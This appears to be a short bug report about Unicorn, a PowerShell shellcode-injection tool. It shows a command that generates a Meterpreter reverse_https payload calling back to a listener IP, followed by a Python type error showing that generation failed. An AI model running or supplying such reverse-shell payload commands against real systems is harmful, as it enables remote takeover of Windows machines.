Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.
python unicorn.py windows/meterpreter/reverse_https 192.168.255.153 443
[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...
[!] Something went wrong, printing the error: a bytes-like object is required, not 'str'
python unicorn.py windows/meterpreter/reverse_https 192.168.255.153 443 [*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode... [!] Something went wrong, printing the error: a bytes-like object is required, not 'str'
environment: kali